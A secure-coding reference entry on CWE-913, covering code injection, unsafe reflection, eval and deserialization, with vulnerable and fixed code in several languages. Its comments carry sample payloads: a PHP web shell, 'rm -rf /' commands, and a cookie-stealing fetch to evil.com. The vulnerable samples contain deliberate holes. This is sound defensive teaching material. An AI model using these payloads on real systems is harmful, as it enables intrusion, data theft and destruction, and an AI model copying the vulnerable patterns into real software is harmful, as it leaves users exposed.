Improper Control of Dynamically-Managed Code Resources
Description
Improper Control of Dynamically-Managed Code Resources occurs when software fails to properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions. Many programming languages provide powerful runtime capabilities for dynamic code execution, reflection, and object manipulation. When these features are used with untrusted input without proper validation, attackers can manipulate code resources to execute arbitrary commands, modify application behavior, or bypass security controls.
Risk
This vulnerability class encompasses several dangerous attack patterns. Code injection allows attackers to insert and execute arbitrary code. Unsafe reflection enables instantiation of arbitrary classes and invocation of methods. Deserialization attacks reconstruct malicious objects from untrusted data. Dynamic evaluation functions (eval, exec) can execute attacker-supplied code strings. The impact ranges from information disclosure to complete system compromise, depending on the privileges of the affected application and the nature of the dynamically-managed resources being exploited.
Solution
Avoid using dynamic code execution features with untrusted input whenever possible. If dynamic features must be used, implement strict input validation using allowlists of permitted values. Disable unnecessary dynamic features in the runtime environment. Use parameterized interfaces instead of string-based code construction. For reflection, validate class names against an explicit allowlist. For deserialization, use type whitelisting or avoid deserializing untrusted data entirely. Implement sandboxing for code execution features. Use static analysis tools to detect dangerous dynamic code patterns.
Common Consequences
| Impact | Details |
|---|---|
| Integrity | Scope: Integrity Execute Unauthorized Code or Commands - Attackers can inject and execute arbitrary code through dynamic code features. |
| Integrity | Scope: Integrity Alter Execution Logic - Dynamic manipulation of code resources can change application behavior. |
| Confidentiality | Scope: Confidentiality Read Application Data - Attackers may access sensitive data through dynamically instantiated objects or reflection. |
Example Code
Vulnerable Code
// Vulnerable: PHP code injection via include
<?php
// Message board that stores messages in files
function save_message($username, $message) {
$filename = "messages/" . $username . ".txt";
// Vulnerable: User input written directly to file
file_put_contents($filename, $message);
}
function show_messages($username) {
$filename = "messages/" . $username . ".txt";
// Vulnerable: Including file that may contain PHP code
include($filename);
}
// Attack: Save message containing PHP code
// save_message("attacker", "<?php system(\$_GET['cmd']); ?>");
// Then access: show_messages.php?username=attacker&cmd=whoami
?>
// Vulnerable: Unsafe reflection
public class VulnerableDispatcher {
public void dispatchCommand(HttpServletRequest request) throws Exception {
String commandClass = request.getParameter("command");
String action = request.getParameter("action");
// Vulnerable: Arbitrary class instantiation
Class<?> clazz = Class.forName(commandClass);
Object instance = clazz.getDeclaredConstructor().newInstance();
// Vulnerable: Arbitrary method invocation
Method method = clazz.getMethod(action);
method.invoke(instance);
// Attacker can instantiate any class and call any method:
// ?command=java.lang.Runtime&action=exec&...
}
}
# Vulnerable: Dynamic code execution with eval
def vulnerable_calculator(expression):
# Vulnerable: eval() executes arbitrary Python code
result = eval(expression)
return result
# Normal use: vulnerable_calculator("2 + 2")
# Attack: vulnerable_calculator("__import__('os').system('rm -rf /')")
// Vulnerable: Dynamic function construction
function vulnerableExecute(code) {
// Vulnerable: Function constructor executes arbitrary code
const func = new Function(code);
return func();
}
// Or with eval
function vulnerableEval(userInput) {
// Vulnerable: Direct eval of user input
return eval(userInput);
}
// Attack: vulnerableExecute("fetch('https://evil.com?data=' + document.cookie)")
// Vulnerable: Unsafe deserialization
import java.io.*;
public class VulnerableDeserializer {
public Object deserialize(byte[] data) throws Exception {
// Vulnerable: Deserializing untrusted data
ByteArrayInputStream bis = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bis);
// Attacker can craft malicious serialized objects
// that execute code during deserialization
return ois.readObject();
}
}
# Vulnerable: Dynamic method call
class VulnerableHandler
def handle_action(action, params)
# Vulnerable: Arbitrary method invocation
self.send(action, params)
# Attacker can call any method including system-level ones
# action = "system", params = "rm -rf /"
end
end
Fixed Code
// Fixed: Proper input validation and safe file handling
<?php
function save_message($username, $message) {
// Validate username (alphanumeric only)
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
throw new InvalidArgumentException("Invalid username");
}
// Sanitize message - remove any PHP tags
$safe_message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
$filename = "messages/" . $username . ".txt";
file_put_contents($filename, $safe_message);
}
function show_messages($username) {
// Validate username
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
throw new InvalidArgumentException("Invalid username");
}
$filename = "messages/" . $username . ".txt";
// Fixed: Read and escape content instead of including
if (file_exists($filename)) {
$content = file_get_contents($filename);
echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
}
}
?>
// Fixed: Command pattern with whitelist
public class FixedDispatcher {
// Whitelist of allowed commands
private static final Map<String, Class<? extends Command>> ALLOWED_COMMANDS;
static {
ALLOWED_COMMANDS = new HashMap<>();
ALLOWED_COMMANDS.put("view", ViewCommand.class);
ALLOWED_COMMANDS.put("edit", EditCommand.class);
ALLOWED_COMMANDS.put("delete", DeleteCommand.class);
}
public void dispatchCommand(HttpServletRequest request) throws Exception {
String commandName = request.getParameter("command");
// Fixed: Only allow whitelisted commands
Class<? extends Command> commandClass = ALLOWED_COMMANDS.get(commandName);
if (commandClass == null) {
throw new SecurityException("Unknown command: " + commandName);
}
// Safe instantiation of known class
Command command = commandClass.getDeclaredConstructor().newInstance();
command.execute(request);
}
}
interface Command {
void execute(HttpServletRequest request);
}
# Fixed: Safe expression evaluation
import ast
import operator
# Allowed operators for safe math evaluation
SAFE_OPERATORS = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
ast.Pow: operator.pow,
ast.USub: operator.neg,
}
def safe_eval(expr):
"""Safely evaluate a mathematical expression"""
try:
tree = ast.parse(expr, mode='eval')
return _eval_node(tree.body)
except (ValueError, TypeError, SyntaxError) as e:
raise ValueError(f"Invalid expression: {e}")
def _eval_node(node):
if isinstance(node, ast.Constant): # Numbers
return node.value
elif isinstance(node, ast.BinOp): # Binary operations
if type(node.op) not in SAFE_OPERATORS:
raise ValueError(f"Unsupported operator: {type(node.op)}")
left = _eval_node(node.left)
right = _eval_node(node.right)
return SAFE_OPERATORS[type(node.op)](left, right)
elif isinstance(node, ast.UnaryOp): # Unary operations
if type(node.op) not in SAFE_OPERATORS:
raise ValueError(f"Unsupported operator: {type(node.op)}")
operand = _eval_node(node.operand)
return SAFE_OPERATORS[type(node.op)](operand)
else:
raise ValueError(f"Unsupported node type: {type(node)}")
# Safe: safe_eval("2 + 2") returns 4
# Safe: safe_eval("__import__('os')") raises ValueError
// Fixed: Avoid eval, use safe alternatives
// For JSON parsing
function safeJsonParse(jsonString) {
// Fixed: Use JSON.parse instead of eval
try {
return JSON.parse(jsonString);
} catch (e) {
throw new Error('Invalid JSON');
}
}
// For mathematical expressions
function safeMathEval(expression) {
// Fixed: Use a safe math parser library
// or implement restricted evaluation
const sanitized = expression.replace(/[^0-9+\-*/().]/g, '');
if (sanitized !== expression) {
throw new Error('Invalid characters in expression');
}
// Still safer to use a proper math library
return Function('"use strict"; return (' + sanitized + ')')();
}
// Even better: use a math parsing library
const math = require('mathjs');
function safestMathEval(expression) {
return math.evaluate(expression);
}
// Fixed: Safe deserialization with type filtering
import java.io.*;
public class FixedDeserializer {
// Whitelist of allowed classes
private static final Set<String> ALLOWED_CLASSES = Set.of(
"com.myapp.SafeClass1",
"com.myapp.SafeClass2",
"java.lang.String",
"java.lang.Integer"
);
public Object deserialize(byte[] data) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
// Fixed: Use filtering ObjectInputStream
ObjectInputStream ois = new ObjectInputStream(bis) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
// Only allow whitelisted classes
if (!ALLOWED_CLASSES.contains(className)) {
throw new InvalidClassException(
"Unauthorized class: " + className);
}
return super.resolveClass(desc);
}
};
return ois.readObject();
}
}
# Fixed: Whitelist of allowed methods
class FixedHandler
# Only allow specific actions
ALLOWED_ACTIONS = %w[view edit delete create].freeze
def handle_action(action, params)
# Fixed: Validate against whitelist
unless ALLOWED_ACTIONS.include?(action)
raise SecurityError, "Unknown action: #{action}"
end
# Safe: Only calling pre-approved methods
case action
when 'view'
view_action(params)
when 'edit'
edit_action(params)
when 'delete'
delete_action(params)
when 'create'
create_action(params)
end
end
private
def view_action(params); end
def edit_action(params); end
def delete_action(params); end
def create_action(params); end
end
CVE Examples
- CVE-2022-2054: Application executed malicious strings provided to eval() function.
- CVE-2018-1000613: Unsafe reflection during deserialization allowed remote code execution.
- CVE-2015-8103: Java deserialization vulnerability enabled arbitrary code execution.
Related CWEs
- CWE-664: Improper Control of a Resource Through its Lifetime (parent)
- CWE-94: Improper Control of Generation of Code ('Code Injection') (child)
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (child)
- CWE-502: Deserialization of Untrusted Data (child)
- CWE-914: Improper Control of Dynamically-Identified Variables (child)
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (child)
References
- MITRE Corporation. "CWE-913: Improper Control of Dynamically-Managed Code Resources." https://cwe.mitre.org/data/definitions/913.html
- OWASP. "Code Injection." https://owasp.org/www-community/attacks/Code_Injection
- OWASP. "Deserialization Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html